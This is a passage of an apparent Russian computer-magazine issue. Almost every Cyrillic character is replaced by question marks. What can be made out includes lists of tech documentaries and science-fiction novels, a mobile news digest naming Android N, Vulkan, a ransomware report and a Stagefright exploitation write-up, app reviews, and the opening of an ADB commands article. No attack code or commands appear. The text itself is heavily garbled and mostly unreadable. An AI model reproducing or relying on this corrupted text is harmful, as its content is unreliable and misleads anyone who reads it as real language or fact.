(STARTUP.COM)
???, 2001 ????
?????????? ?????????????? ??????? ?а???, ???
????? ???????? ???????????? ???????? (? ???
????????? ????). ???а?а?а?????? Code Rush,
????? ??????? ????? ??????????? ???????????
??а??????? ???? ????????????????: ???????
????? ??????? ?а???? ???????, ??????? ?а?????? 2000-? ????? ??????? ?????????? ????
GovWorks.com. ????? ??а??? ?????????? ?????????? 60 ????????? ????????, ?????? ??а?????? ??????? ??? ??????? ?а???? ????? ????????????? ?а??????????? ???а?????? ?????????.
?а????? ?????? ???????? ??????, ?а?????? ???????????? ????? ??а???, ??????? ???????????????? ??а?а???. л???????.???╗а? ??? ?????????
???????????? ??????? ????? ???????, ??а??????? ????? ?????? ?????? ?????? ??????.
13. ???????
??????, 2014 ????
???? ??а???????????????? ??????????????
??????? ?а?????? ??????. ???? ??????? л???????╗ ??а????? ????? ?а??????????? ?а????????
?????? ????????? ?????? ????????, ??а???????? ?? ?а??? ???????? ???? ???????? ??????. ??? ?????????????? ????? ????????????
?а???????? ?а???? ???????? ??????????? ?????????? л?????╗. ??ал?????╗ ????? ?????????,
??? ???а?????????? ?а?????? ?????? ???? ???????? ??????? ???????? л??????╗, ?а??????????? ??????? ?????? ????????? ??????? ?????
?а???? ?????????. л???????╗а? ?????? ???????
?????????? ?????????? ?а???????? ??????????????? ???????? ?а????? ??????? ?а?а???????
????????? ??????? ?а??????. ??а????? ?????? ????? ????? ??????? ?????????, ?а???????? л??????╗ ?????? ?????? ???????? ??? ??????????? ?? ?????
????????? ?????????. ?а??? ??а????? ???????????? ?а??????? ?????, ??? ??
?????? ?а?????????? ???? IT ??а??? ?????.
14. ??????????? ????: ????
(INDIE GAME: THE MOVIE)
??????, 2012 ????
??? ???? ?????????? ??????? ?????????а?
?????????? ???, ?а??? ????? ????????????
??????????????. ??? ????? ????????? ???????
?????? ???? ??????????? ??? ?а?? ??????????:
??????? ???-??????? ?а????? ????????,
?????????? ??? Super Meat Boy, ???? ????,
??????? ??????? ?????? ???????? Fez, ?а????????? ????, ??? ??????????? ????? ??????
Braid. ???????? ???а?????? ??????? ???? ??????? ????? Kickstarter, ?а?а????? ??????? ???
???????????? ?????????? ??????? ???????
?а?????? ???? ??????? ????? ??????? ?????
?????????. ?????????? ?а????? ?????? ???????? ?????? ??????? ?????? ?????????????,
??а?а????? ???????????? ????? ?????????, ??????? ?????? ???????? л???????, ?????????
?а???????╗ ????-???.?
15. M
INECRAFT: ??????? MOJANG
(MINECRAFT: THE STORY OF MOJANG)
???, 2012 ????
????? ???? ??????? ??а????-????? ?а?????
?а??а???????? ???????? ?а?????????, ??????
??а????????? ?????????????? ??????? лNotch╗
???????? ?а??? Minecraft. ????????? open world
????, ??? ???? ??? ??????? ??а??????? (?? ??????? ????? ??????? ???? ????????? ?????????? ???????????), ?????????? ????????? ???????? ??????????? ??а????? ???? ?а????????
???????? ???????? ?????? ?????????. ??????
??????????????? ?????? лMinecraft: ???????
Mojang╗ ???????????? ?????????? ??????????? Kickstarter. ???????, ??а????, ???????????? ????? ????? ???????? ?а??????????????,
?а??? ????? ?а???????? ????????? ?а??????
????????????, ??? ??? ???? ????????????
?а?????? ??? Minecraft ?а???????? ???????? Mojang. ????? ????????????????
????????, ?????? ??? ??????а? 2 Player Productionsа? ????????? ????????
л?????????? ??????╗ ?а??? ?? ??????? ??а???????.
?????: ??????? ?????? ???????????
??? ????????
?а????????
???????????????
?????????????
??????
??????????
????????????! ??а???????? ?? ?а??? ??????? ???????, ?????
?????????? ?а??????????????? ?????????????? ????, ???????: ????????? ??а?????, ??, ? ?????, ????? ????а? ??????????????? ????????????? ????? ???-?? ????? ??????? ???а?????. ???????, ??? ??а????????? ???????, ?а?????-?? ??????
?а??????????? ??????? ???, ??????? ???????? ????????????
???????????? ??????? ??? ????????а? ?????? ???????
?а???? ?????, ??????? ???-?????? ????? ??????????.
???? ?? ????? ??а?????? ????? ??????? ??????, ? ????????? ??????? ?????????. ??????????? ???????? ????????а? ????? ???? (л?????????? ????????????, ??????????? ??а????????? ???????????? ?????, ??????????? ?????? 24
??????╗) ?а?????? л??????╗, ??????? ?????????? ???????????????? ???? ?????????????? ??????????? ????????? ???????????.
???? ??а??????????? ???????? ??а????
?????? ????: ????
??????????????
????????, ?????????
??а1000 ????????
???? ???-?? ?????? ??а??????????, ?? ?а?????-?? ?????? ??? ???????? ?????
?????? ?а????? ?????? ?????????? ???????. ??? ??? ?????? ?а????? ????????
??????????? ??????????????, ??? ?????? ???????????????? ?????а? ??? ?????? ????????? ?????, ??????? ???????? ???? ????, ??? ??????-?? ????? ????
?????????????????? ??????. ??????? ???????, ?а??????? ????????????, ????????, ?????????? ????? ????? ????????, ????? ??????? ?????????? ?????????? ???, ?а??? ???????????? ??????????? ??????????? ?????? ???????????.
??? ????? ?а?????????? ??????????????? ??????????????. ??а?????????????
????????? ???? ?а?????? ?????? ???????а? ?????????? ?????????? ?а????????-???????? ??????? ?????? (????? 1, ????? 2).
?а??????????????? ?????????????? ??????? ????? ????????, ?????? ??а??????? ????? ??а?????? ???????. ????? ?? ????? ????????? ???????? ?а????
?а???? ?????? ????? ?? ?????????? ???????????? ??????? ??????????? ??
????? ?а???????? ???????????? ???????? ?? ???????? ????? ??????? ?????? ??????? ???????? ?? ???????? ????? ?а?????? ?????????? ????? ?? ????????? ?????? ??????????? ??????? ???????? ?????? ??????? ?? ????? ?????
????? ???????????? ???, ?????, ????? ???????????? ???????? ???? ??а?????
????????? ?а????????? ??? ??????? ???????? ?????
????????? ??? ????????? ?а????????????? ?а?????????????? ??? ??? ?????
???????? ?а??????? (? ??а?????) ??????????, ????? ????? ??а???? ?????? ??????? ?а???????????? ????????? ?????????????? ????, ??????? ??????? ????
????????? ??????????? ??????????????. ??а??? ??а??? ?????????? ??а???????,
??а?????? ???????? ????, ????? ???????????? ?? ???а???????? ???????????.
????????????????
?????? ?а??????? ???? ?а?????? ????????? ????????, ?а??????? ??????????????? ????????????? ???а??????? ??а???????????, ???? ?????? ???????? ??????? ?а??? ??????????? ?а????????? ??а???? ????????? ?а????? ????????. ???
???????, ?????????? ?????.
???????? ??? (The Diamond Age)
?????: ??? ?????????
??? ??????????: 1995
??????? ??а???????: ????
???????????? ??????, ??а??а??? ??? ?????????? ????? ???? ??????????. ????????
???????? ??????? ??а????????, ??????
??а??????? ????? ??а????? ????????: ??????????, ???????, ?????????????? ?а???
?????. ?????????? ??????, ??а????????
??? ?????? ??а????. ?а?????, ?????? ?????? ??????, ????????? ??? ???????: ?????????? ?????????? ???? ???????? ?а?????????? л????????╗а? ???-?? ??????? ?????
????????????????? ???????, ????????????????????? ????? ?а???????? ????????? ??????????? ?????????. ?а???????,
??а????? ??а??????? л?????????╗ ?????,
??????? ?а????? ??????? ???? ?????????
??????? ??????????????? ??аLisp.
????? ????? (Rainbows End)
?????: ?????? ?????
??? ??????????: 2006
??????? ??а???????: ????
?????? ??а?????? ????? ??????? ??????
?а????? ??????, ???? ??? ?? ???? ???????????? ?а??а???? ????????? ?????? ?????????? ????????????? ?????????? ??????????? ??????????. ?????????????
???????? ????? ????? ??а???????????,
???? ????? ??????? ???????? ??????? ?????, ???????? ??а???, ???а???????? ?а??????????? ???? ???????????? ?а??????????
????????. ???????? ??????????? ????????? ????????? ????, ??? ??? ??? ?????? ??????????? ?а????????? ????-?????? ???.
??????-???? (Maneki Neko)
?????: ???? ????????
??? ??????????: 1999,
?а??????? ???????? л??????????? ???????╗
??????? ??а???????: ????
????????, ??а?????? ????????????? ??????? ?????????? ?????????? ?????
?????????. ?????????? ??? ?????? ??а????а? ????? ???????? ??? ???????, ???
?????? ????????? ?????? ?????. ????? ???? ??а??????? ?а???????? ?????????.
??? ??а?????????? ????????? ?а???? ?????? ????? ?? ??????? ????? л???????????╗ (Schismatrix), ??а??? ???? ???????? ?а1985 ???? ?а???-??? ??????? ????????, ???? ???а?????? ??????? ??а???? ????????? ?????? ?а?????? ?а??????????????? ?????????????, ????????? ??? ????????.
Down and Out in the Magic Kingdom
?????: ???? ????????
??? ??????????: 2003
??????? ??а???????: ???, ????????????? ????????а?
л?а?????? ???? ?а????????? ???????????╗
???? ????????, ????????, ???????? ????
???а???????????? ????? Boing Boing ?а????? ??а??????? ??????????. ??а? ?????
????? ??????? ????. ??? ?????? ?, ????????, ?????? ??а???. ???????? ?а??? ????????? ???????, ??? ????? ????????, ??а????????????а? ???????? ?????????????.
?????? ????? ??а?а????, ???? ???? ??????
??????????????? ????????????? ???????а? л?????╗. ??? ???????? ???а???? ??
?????? ???????? ????? ?а???????? ?а???
?? ????????? ??????????? ???????????,
????? ??????? ???а????? ??????. ???, ???
??????????? ?а?????????? ?а????????, ?????, ??? ???????????? ???????? ??? ?????????? ?????????.
?????? (Nexus)
?????: ????? ????
??? ??????????: 2012, 2013 (Crux), 2015 (Apex)
??????? ??а???????: ???? ??????? ?????? ????? ????????
?????? ????? ?????????? Microsoft ?а??????????? ?????? ?????? ?????. ??а???
????? ????? ?????, ???? ????? ?????? ??а??????????. ???????: ????????? ???????,
?а??????? ???????? ????????? л????а?
?????????╗, ?а??????а? ?????????, ??????? ???????????? ????? ?а????. ??????
???? ?а???????? ???? ????? ?????. ???????? ???????? ???? ??????????????? ??а????????? ??????? ?????????????
?а???????????? ????????. ????? ????? ???????????, ???????????? ????????????
??????а? ??????, ???, ???????? ??????.
?ал???????╗ ???? ??? ???????????а? Crux
?аApex, ??а??????? ? ???? ??а????????.
?????????????????
Accelerando
?????: ?????? ??????
??? ??????????: 2005
??????? ??а???????: ????????????, ????????а?
л?????????╗
???? ??а?????? ?а?????? ????? ?????????? ???? ???????????? ???????? ???????
???????. ???????? ??? ??а?????????? ?????? ???, ??? ??????? ??ал???????╗ ?????
?????????????: ????? ?????? ?????????
?? ??????? ?а??а?? ????? ?????? ???????
???????. ???? ??? ???????????? ????????? ??? ?????, ???????? ??????? ?????????? ?а?????????? ?????????????, ?а????????????? ?????? ?????. ????? ???????????
??????? ????????????: ??а???-?? ??????
?????? ?а?????????, ??????? ??????? ????
????? ????????, ????? ???????? ?????-??
???? ?а?????? ??????, ?а?????? ????????????? ?а????? ??????????? ????? ????.
?аAccelerando ???? ???? ???????????? ????????? ??а???????, ??а???, ??? ?????????
??? ??а?????, ??? ??????.
????? ??? ???????
(A Fire upon The Deep)
?????: ?????? ?????
??? ??????????: 1992
??????? ??а???????: ????
????? ???????? ?а??????, ????? ????????? ??? ??????????????? ?????????????
?????? ??????????, ?а??????? ????????
??. ?????? ?????? ????, ????? ???????????, ???а????????? ????? ??????? ??????? ?а????? ???? ????????, ?????? ?????
??????? ?????????? ???????? ??????.
?а??????????? ?? ???? ?????? ????????
??а???? ?????? ?????: ?а????? ???????? ??????????? ??а????????????? ????????? ?а???????????? ?????????? (? ??????????????, ?а???????????), ?а??????
?а???????? ???????????, ?а??????????
??????????а? ?????? ?а???? ??????? ??????. ????? ????????? ?а????????? ????,
??а???????? ?????????? ??а??а???. ?а?????, ??? ????????????? ?????????? ?а????????????? ??? ?а??? ??????????????? ??????. ??, ???? ?????????? ?????? ?????, ??а????? ???????????? ??????а? Deepness in the Sky. ?а??? ???????? ?????? ????? ?????? ????? ?????
(Children of the Sky) ???? ??????????????? ????? ??? ??????? ???????????
?????????? ?????? ?????: ??????? ???? ?а??? ????? ???.
Glasshouse
?????: ?????? ??????
??? ??????????: 2006
??????? ??а???????: ???, ?????????????
????????а? л?????????╗
??? ???? ????? ????? ???????а? ??а????
??? ???????? ????? ?????????? ?а???? ?????????????????. ???? ????? ?????, ???????? ?????? ?а????? ??????????? ???????????? ?а???????? ????????????
????????? л??????╗, ??????? ?????????
????????? ?а???????? ??а?????? ??? ??????. ??????? ????? ???????? ??????, ??а????? ???????? ???? ?????? ????а? ???????????, ??????? ?????????, ???а???????
?????? ??????? ?а????????? ???? ?????
???а?????? ????????????. ???? ?????????? ????????????? ?????, ???????? ????
?а????????? ????????? ????????, ????????? ??а?????? ???? ??????.
???????? ????? (Rogue Farm)
?????: ?????? ??????
??? ??????????: 2003
??????? ??а???????: ????
???, ??? ????? ????????????? ?а??????????? ???????, ??а?????? ???????? ?а??????? ???? ????? Accelerando ??? Glasshouse, ???? ??????????????? ?????????
??????? ??? ????????? л???????? ?????╗. ?а??? ???????? ???? ??????? ????? ???????? ???? ??? ?а???? ??? ??а?????? ??????????? ?? ???? ?????????????????. ??а????? ?????????? ??????????????? ???????? ?????? ???????????? ??????????, ????????? ??аVimeo, ?а??? ??? ?????? ?а???????? л??????
???а??????╗.
????????? ??? (The Quantum Thief)
?????: ????? ?????????
??? ??????????: 2010, 2012 (л??????????? ?????╗),
2014 (л?????????? ?????╗)
??????? ??а???????: ????
?????? ????? ????????? ???????? ?????
?????????. ???????? ?????????? ??а???????????? ??????, ?а?????? ??????? ????????? ??????? ?а?а???????????? ??????????,
?????? ??? ??? ????????????. ????????
?а?? ????? ???????? ???????????? ?а????????. ???? ????: ??????? ?????? ?????,
?????? ??а????????? ??????, ???? ??????
????????, ?а????? ???? ??????????? ????
?а?????????????? ????, ?????????????
?а????????. ?????? ?а?????? ????? ??????
??а???? ??????, ?а???? ?? ???? ?????? ??????? ??? ?????????????? ????????? ?????????, ?? ?????? ?а???? ??? ????? ??а?????а? ????? ?????? ???????? ???????.
?а????? ?????????????
????????? ??????? ????? ????????????? ??????, ??? ??? ?????? ?????? ??????? ?????????? ???????????? ??????????? ?????????? ???????, ??????? ????????? ????????? ??? ???????? ???а?????????? ????????????? ???????????,
???????? ???????? ?а?????? ??????????.
?? ?а???????, ??а??? ???????? ?а?????????? ???????? ?а??????????????? ?????????????. ????? ?????????? ???????????? ?????? ??????????? ???? ??????????.
?????? (Anathem)
?????: ??? ?????????
??? ??????????: 2009
??????? ??а???????: ????
????????????? ??? ???-?? ????? ??? ???????????, ?а??а???, ??а??????????????
?а????? ??а??а????, ?а?а?????? ???????. ???
????? ??? ??????? ????? ?а?????? ??????,
???? ????????? ???????????? ?????????? ???????? ???????. ?а????? ??? ??????
?а??? ??а??????, ?а?????? ??????? ???, ??????? ??а??????, ???а?? ??????? ?а????????????????.
???? ????????????? (Singularity Sky)
?????: ?????? ??????
??? ??????????: 2003, 2004 (л???????? ???????╗)
??????? ??а???????: ????
?а??? ???? ????? ????? ???????, ??а????
??? ????????? ??????????. ???????????
??????????????? ????????????? ???????
?а???????? ?????????????????? ??????,
??а?????? ????, ????? ????????? ?а???? ???
???????????? ?а????????? ????????? ???????, ?? ?????? ???????? ????? ??????
???-?? ???????? ????? ?а?????????? ?????? ???????????? ??а??????????? ???
????????? ?????????. ?????? ??? ???????? ????????? ??????????? ??а?????????
????? ?а?????? ???????? ????. ?а?????,
???????? ??а????????, ????????????? ???
??-???????? ???, ???? ???? ??????????!
???????????? ??????????
(Peripheral)
?????: ?????? ??????
??? ??????????: 2014
??????? ??а???????: ????
?а????? ????? ?????? ?????? ??????
??а?????? ????????? ???????а? ???????
?аPeripheral ????? ???! ????????????? ???
??а?????????, ?а?????? ??? ????????? ????? ?????? ??????. ???? ???? ??а???????,
???-?? ???? ????????, ?а???-?? ????????
??????????. ????? ???? ????а? ????????? ????????? ????????. ???????, ????????а? ?а?? ????? ??????, ?а???а??? ???
????? ???? ?а????????? ???????.
MOBILE
????????
????????
???
??????? ??????
androidstreet.net
ANDROID N DP2, ?????
????????? ???????? ?а????
?а????? ??????? ???????
Google ????????? Android Developers Preview 2, ?а???????
???????-?? ???????? ??????????? API Vulkan, Microsoft ??????????? ?аApp Store ?????????? ??????????, Facebook
????????? ???????? ?????? ???????????, ????????????
??????? ?????????? Android ??а25% ?????? ?а???????,
??????? ?????????? ????? ????, ???а??? ??а????? ????
???????? ?????????, ?аQihoo 360 ???????????? ???, ???
??? ????? ?аransomware.
? ??????
?а???? ?????? ????????? ?????? ???? ???????? ?????. ??? Android N
Developer Preview 2, ?????? ??????????????? ?????? ????????? ?????? ???????????. ?а???? ??? ???????? ????? ?????? ?????? ?а???????? л????????
???╗ ?а????????? ?????, ?? ?? ?????? ???????????? ??а????????????? ?????? ????????????а? ????????? ?????? ???????????? API Vulkan, ???????
?????? ?????? ??а????? ??????????? OpenGL.
Vulkan ?а???-?? ????? ??а???????????? ?аiOS API Metal ?а????? ????????? ??а?????? ??????? OpenGL: ?????????? ??????????? ????????? ???????????? ??????, ??????? ???????? ??? ??????????? ???????????, ???????
???????????? ???????, ???????????? ?????????? ??????? ????? ????????
?а??????. Vulkan ????????? ????????? ????? ???????????????? 3D-?????????? ?а????, ???????????? ????????????? ??????? ???????? ??? ?????????
????????? ???????. ?????????, ??? ????????? Vulkan ????? ???????? ?а?????????? Android 6.0.1 ???а???????? NVIDIA SHIELD K1.
19 ?????? ????? ????????? ?????????? ?????? CyanogenMod 13 ?а???????? 2. ?????? ????????? ??а????????? ?а?????????? ??????? ?а??? ???, ???
???????-?????.
? ??????????
Radonа? ?????????? ???а???????? ??????
??????? ????? ????????????, ??а?????????
??а????????, ??а???????. ??а?????? ?????? ?????? ????????????????, ?????? ??????????
????? ?????????? ????????: ??????? ?????????
?а??? ???-???? ????, ??а??????????? ?? ?????????????, ?а??????? ???????????. ??? ??а?????,
????? ??????? ??? ????? ???????????? ???а???????? ?аChromecast ?а???????? ?аGoogle Play
Services ??????? ?а?????? 7.8. ???? ??????,
??????, ?????????? ????? ????????, ??? ???????
??? ????????? ????????????.
Handoverа? ?????? ???аXposed (Android), ??????????? ??????????? ??????? ?аOS X / iOS.
????????? ?????? ???????????????? ??????? ???????? Chrome, ???????? ????? ?аYouTube
?а?????????? ????? ?а????? ??а???????? ?а???????. ?а????? ?????? ?????? ??а????????? ?а???
?? Pushbullet, ?а??? ???? ????????, ??? ??? ????????????? ?????????????? ?????????? ???-????
??а?????????. ?????????? ??????? ??? ????.
Radon
Voice Accessа? ???????? ????????????? ?????????? ??аGoogle, ??????????? ????????? ?????????? ????????????? ???????. ?а?????? ??????: ????? ???????? ??а????????? ????? ?????????, ?????? ?????????? ???. ??????? ??, ?а?????? ??????? ??????? ?????????? ??а????? ?а?????????????
?????????????, ??, ?????? ?????, ??? ????? ???????????? ??????? ???а??????? ????? ??????? ?????????. ???? ??? Voice Access ?а????, ?а???а?????????
?????????? ?????????? ?????????????? ?а????-????????? (????? ?????
?????? ??аPlay Store ?????? ???????).
Voice Access
Word Flow
Word Flowа? ?????????? ??аMicrosoft ???аiOS ?а????? ?????????? Windows 10.
????????а? ????? Arc, ?????????? ?????????? ???, ????? ??????? ??????
???????? ??? ????? ????? ????. ?????? ???аAndroid ???.
? ???????????
ReDexа? ????? ?????????? ??????????? ?а??????????? ??????????
???аAndroid ??а???????? Facebook. ?а????? ???????????? ????? ?????? ??????? ??????? ProGuard, ?а??? ???????????, ??? ???????? ??а?аJava-????????, ?а?а??????? ????-????? Dex. ??????? ???????? ?????? ?а????? Facebook
?а???????? ?????: ???????? ?????????????? ?????, ??????????? ???? ??????? ?а???????, ?????????, ???????? ???????-?????????, ?????????? ??а??????????????? ????. ??? ??а????? ????? ?????????? ReDex ?????? ?????????? Facebook ?а????? ????????? ?????? ??????????? ?а??????? ??а25%
(?????????????, ???? ?????-?? ?? ??а??????? ?????? ?а65 ????? ???????
??а??????????).
Smali Emulatorа? ?????????? ???а??????? ???? smali. ?????????а? ??? ??а???
????, ???а??????????????????? ??? Java-???????, ???????????? ????? ?????????? Android. ?а???????? ????????? ??????????? ????? ??????? ?а????? ??????. ???? ??????, ?? ?? ?????????? ?а???????????, ??? ?????? ???????? ???? ???????????, ?а??? ????? ??? ?????????? ???а??????? ??????????
?а???? ???????????.
? ??????????
World?s Smallest Android Phone!а? ???????? ?????????? ?????? ?????????? Android-????????? ?а????а? Posh Micro X S240. 2,4-???????? ?????, 512
????? ??????????, Android 4.4.
$79 Remix OS Laptop on 64bit Allwinner A64 quad-core ARM Cortex-A53а? ?????????? ???????????? ?а?????????? ???????? ??а???????? Jide, ??????? ???
?????? ???????? ????? ???? ????? ?????????? ??????? Android ??? ????????? Remix OS. ??????? ????? ????????а? ??? ????, ??????? ?????????? ??а79
???????? ??а??????? ?????? ?а??????????????? 64-?????? ???????????,
????? ?????????? ??????????? ?????? ?а??????? ??????????? ??????????.
How the Chinese make smartphonesа? ?????????????? ????? ?а???, ???а?????? ????????? ?????????. ?а?????-??, ??? ??????????: ??? ??? ?????, ??? ???
????? ????? ?а???????? ??????, ??? ??? ??? ???????????? ????????. ?а?????
?????????? ????????? ?????, ??? ???????? ???? ???????????? ???????, ?а???
????? Huawei 5X. ?????? ?????? ?а???, ????????? ????????? ????????? ??????
????????????? ????? ????? (? ??, ??? ?????? ????????????).
? ????????
How to build ROM with Google Cloudа? ????????? ??????????, ???а??????? ???????? ??? AOSP
??а??????????, ????????? ???????????? ????????? ?????? VPS-???????? Google Cloud.
What Is Your Ideal Smartphone Screen Size?а?
?????????? ?а????? ????????? ????? ??????? Android Police ??а????????? ??????? ??????
?????????. ?????????? ?????????: ??????????? ??????????? ??????? ??????? ?????????
?а?????????? ?????? 5,2?5,8 ?????. ??а??????
4,3?4,8, ??????? ????? ??????? ????? ???????
???а????????????? ????? ?????, ?????????????
?а????? ??? ?????? ???????.
Android ransomware research reportа? ???????
???????????? ??а???? ?????????? ransomware
??а????????? security-???????? Qihoo 360. ?????
?????????? ???????????
??а?????????, ?????? ???????????? ?????????
?????????? ?а?????????????, ??? ????? ?а?????????, ????? ???????????. ??? ??? ????: ??? ????? ransomware, ???а??? ????????, ???? ???????????????, ????????? ????, ??????? ?????? ?а????????
?а?????-????? ??????????. ????????, ?? ????, ??? 84% ????????? ????? ???????? ????? ??аAndroid-??????????? ?а??????? ????????? ????? ?????????? AIDE?
Lessons Learned from Researching and Exploiting Stagefrightа? ?????, ?????????
???а?????? ?а???????????? ?????????? Stagefright. ??????????? ?а?????????
?????????, ?????????????? ?????????, ??????? ???????? ?????????? ???
Stagefright. ????? ?????????? ?????, ??а???????? ????? ?????? ????? ???????????? ??а?????? ?а????? ??????????, ??а?а?а???, ???а??????? Android, ???а??
???????????? ????????????????, ???аsecurity-??????????? ???? ??????????,
?а??????? Google ?а?????????????? ?????????.
?????? ??? Stagefright ??????? Google ?????? ?????? ??????????? ????????? Android ?а??????? ?????????????? ??а????????? ?а????????? ??????????. ???????? ??????? ??????? ??????????? ???? libstagefright ?а????????? ??? ??а????????? ???????????, ?????? ??а??????? ???????? ?а???????????
security-?????? (????????, ?????? ?????? ??а????? ????? ???????????? ????????-???????????).
????? ??????? ????????? ??? ???? ???????? ???а??????????, ??????
?а???? ?????? ???аMetasploit. ??? ??? ?????????? ????? ????? ???????.
Booting Androidа? 31 ?????, ??????????? ???????? ???????? Android. ??а????
????? ????? ?????? ?а??????? ???????? Android ?а?????????? ??????? ??а???,
?а???, ????? ????????? ??а????????? ?????????? Android ?а????? ?????????
?????????? ????????????, ?а????? ??????? ???????????????? ?????? boot?аrecovery-???????? ?а???а?? ??????????? ?а?????????? ???????. ???? ?а??????? ?аfastbootа? ????????? ?а??????????? ???????????? ??????????.
???? ??а???????
???????????
How to install Windows XP on an iPhone or iPadа? ?????????? ??а?????????
Windows XP ??аiPad. ?????? ??а???? ?а????????? ????, ???а????????? ????????? PC-???????? Bochs ??аiPad ?а???а????????? ?а??? Windows. ???????????,
??? ??? ????? ??????? ?????????.
Android Security 2015 Year In Review (pdf)а? ?????????? ???????? (49 ???????) ????????, ??????????? ?????????? Google ??а???? ?????? ?а????????
?а????????. ??????? ?????? ???????? ????????????? ??????? ????? л????
?????? ??????? ??????-???????? ?????????? ???????? ???????? ?????????????╗ ?ал?? ?????? ???, ????? ???????? ??? ????╗. ?????? ??а?????????
????? ?????????? ?а????????????? ?????????? ?а???????? ??????????, ???????? ?а???, ???а???????? Google Security Services for Android (?? ????? ?????, ??????? ?????? ???? ?аGoogle Play ?а?????????? ???? ????????? ?????????? ????? ??????????), ?а???, ???а????????? ??????? ???????????? ??а?????
?????????? (??? ??? ?????????, ??????????, ????? ??????? ?а??????).
Exploring Qualcomm?s Secure Execution Environmentа? ??????? ??????, ??????????? ??????? ???????????? ????? Qualcomm ??? ????????? Secure Execution
Environment (QSEE). ????????? ???????????? ????? ????? ????? ??????????? ??????????????? ??а????? ???????????, ??????? ?а???????????? ????????. ?????? QSEEа? ????????? ?а???? ??????? ???????? ?????? ??????????,
????? ???а????? ??????????, ?а????????? ?????? ????????????. ?а?????? QSEE
??а?????? ???? ???????? ??а???????? ???????????? ???????, ??а?????? ??????????, ??? ??? ??а??? ?а??? ?????? QSEE ?????? ????? ??????.
MOBILE
?????? #19.
??????!
?????????
????
??????? ?а???????:
?????????? ??????????
?а????????? ????????,
??????? ??????
?????????? ???????,
??????? ??а??????????
?????? ??а???, ???
????? ?????????????
???????????, ?а???????
????? ????????? ????????
??аGoogle.
TRUECALLER
?????? ?а??????????? ????????. Truecaller
?????????? ?????????, ??а??а????? ??а????? ??????? ?????????? ?а???????, ?а?????-??, ?????????????????. ?? ?????????????? ??????????, ????????? ?????????
????????? ??????????? ?а????????? ?????? ????? ?а?????????? (?? ???????), ?а????? ????? Truecaller ???????? ??????????
?????? ?????????? ?а?????? ????????
???а?????? ???????? ??????.
??????????, ?????????? ?? ?????
??а??? ????? ????, ?????? ??????? ?????? ????????? ?а?? (??? ??? ?????? ??????? ???а??????????? л??????? ??????╗
?а????????? ????? ?? ??????), ??а????
??а?а????. ????? Truecaller ?а???, ???
?а???? ????? ??????? ???? ??????? ???????????, ???????? ??а??????? ?а????????.
??? ??? ?????? ??а??????? л??? ??? ??????
?а?????? XXX╗ ?а????? ??? ??а????????а?
?????????? ???? ???????? ???? ??? ??????????? ?а??????????? ????????.
??????, ??? ???? ???????? ????????
?????????? ???????, ??? ????? ?а??????????? ????????????? ???????? ???????? ?а??????? ????? ?????? Truecaller ??????????????? ??????????? ???а??????
?????????. ?а?????? ???????, Truecaller
???????? ????? ?а?а????? ????????????
???????.
CALL MASTER
???? ?? ????? ??????? ????????????
?????????? ??????? ?а???, ?? ???????
??????????, ??? Call Master, ??а???????.
????? ???? ?????? ???: ?????? ???????, ??????????? ?????????? ??????????? ?????????, ??????????, ??????? (???
?????? ??????????? ???? ?????? ?????),
????????? ???????? л?????╗ ?????? (???????? ??????, ?????????? ?????, ????????
??????, ??а???????? ??????????? ?а???
?????), ???????? ?????? ???????, ?????????? ???а??а???????????, ???????
?????????? ?????????, ????????? ????????? ??????????? ?а??????? ?а???, ??????? ??а?????? ?????? ?а?????????? ??????? ??????? ?????????? ?а???????????
?ал??????╗. ???? ???? ?????? ???????.
??а??????? ????? Call Masterа? ???
????????? ??????. ?а??????? ??а??????
????????????, ?????????? ??а????????
л????? ?????? ?а????????╗ ?а?????????
???? ??????? ????? ????????? ??????
???а??????, ?????????????????? ???????????? ??????? ?????? ??? ??????????? ?а??????????? ???????, Call Master
?????? ????????, ???????? ?а????? ??а??????? ?????? ???????????. ??????? ??а???
?????????? ??????? ????: ??????????
??????? ?а?а???? ?? ??????? root.
KNOCK ME!
????????? ???? ????????. ?? ???????? ??а?????/?????? ?, ????? ????? ??а????????, ????????? ?????????? ?????
??а?????????, ?а????? ????????? ?????
?????? ???????? ?а???? ?а?????? ????
??????????? ??????? ??а????? ???????,
??????? ????????????? ???а?а??????:
л?? ????? ??!╗ ??, ???????????, ??? ??????? ???? ??а???????????? ?а?? ?????????????. ?? ???, ????????, ?? ??? ???????
????, ?а???? ????, ??а????????????, ?????
???? ???????.
???????? лKnock Me!╗ ????? ????
????????. ???? ?????????? ????? ??????: ?? ??????? ??а?????? ????????
???????? ?????, ?а????? ???????? ????????? ?????????? ?????. ???? ???????
??а????? ??а???? ???????????, ?? ??????
?????????? ???а?а????????? ????????
?????? (??? ???????), ?а?? ??????????? ????????. ??а???????????? ???????
??????? ?а?????? ???а????? ????????.
????? ???????????? ????? ?????????
???????? ???? ?а???????? ?? ??а????????? ???????, ????????? ???????? ??? ?????? ??а????.
?????????? ??????????, ??а??а?????????? ????????. ?а?????? ???????, ???
??а??? ?? ?а??????????.
Truecaller
?????????:
Android 4+
????:
?????????
Call Master
?????????:
Android 2.3+
????:
?????
Knock Me!
?????????:
Android 4.0.3+
????:
?????????
GOOGLE DIALER
?а???????? ??? ?аGoogle ???? ???????????
?????? Truecaller ??? ?????????... л???????╗. ??, ?????? ??? ?? ????????? ?а???????, ?? ?а?а????? ????? ?????????? ??????????? ???????? ?????? Android. ??а???
?????? ??а?????? ??????. ??а????? ????
??? ???? ????????? ???????, ?а????? ???????? ??а???а? ??? ???, ?? ???? ??? ?? ??
??????? ?????? ?????????? ?а????????
???????, ???а?аTru?caller. ?????? ????????
??? ??а??а???? Truecaller, ?а??а??????????? ???? Google. (?а???? ?? ???? ???????
Google? ??? ?а?????? ?????????.)
???? ???? ?????????? ??????????
??????? ?а??????? ?????? ??????????? ?????: ?????? ????????а? ??????? ?????? ??????. ????? ??? ???? ?????
???? ??????, ??а??????? Android 6.0, ??
??? ?а????????????? ??а?????????? ??????? Nexus, Android One ??? Google Play
Edition (?????????????? ???? ????? ???????, ??? ??????? ???????? ??аOnePlus One
?аCyanogenMod 13 ??а?????).
Google Dialer
?????????:
Android 6.0+
????:
?????????
MOBILE
??????????
ANDROID
50 ?????? ADB,
?а??????? ??????
????? ??????
??????? лBRADA╗
?????????
john.brada.doe@gmail.com
?????????? ????????? ???????????? ???а?????? ?а???????????? ?а??????? USB-?????? ??? Wi-Fi ??????????. ????? ???????? ??????????? ?????????
?????????? ?????, ????????????? ?а??????? ????, ????????????? ????????, ?????? ????????? ?????? ?а????
?????????? ???, ?????? ??а???? ??????????? ?????????? ??а????????? ?а?????, ??????? ????? ???? ???????
Android. ?а???? ?????? ?? ????????? ??аADB (Android
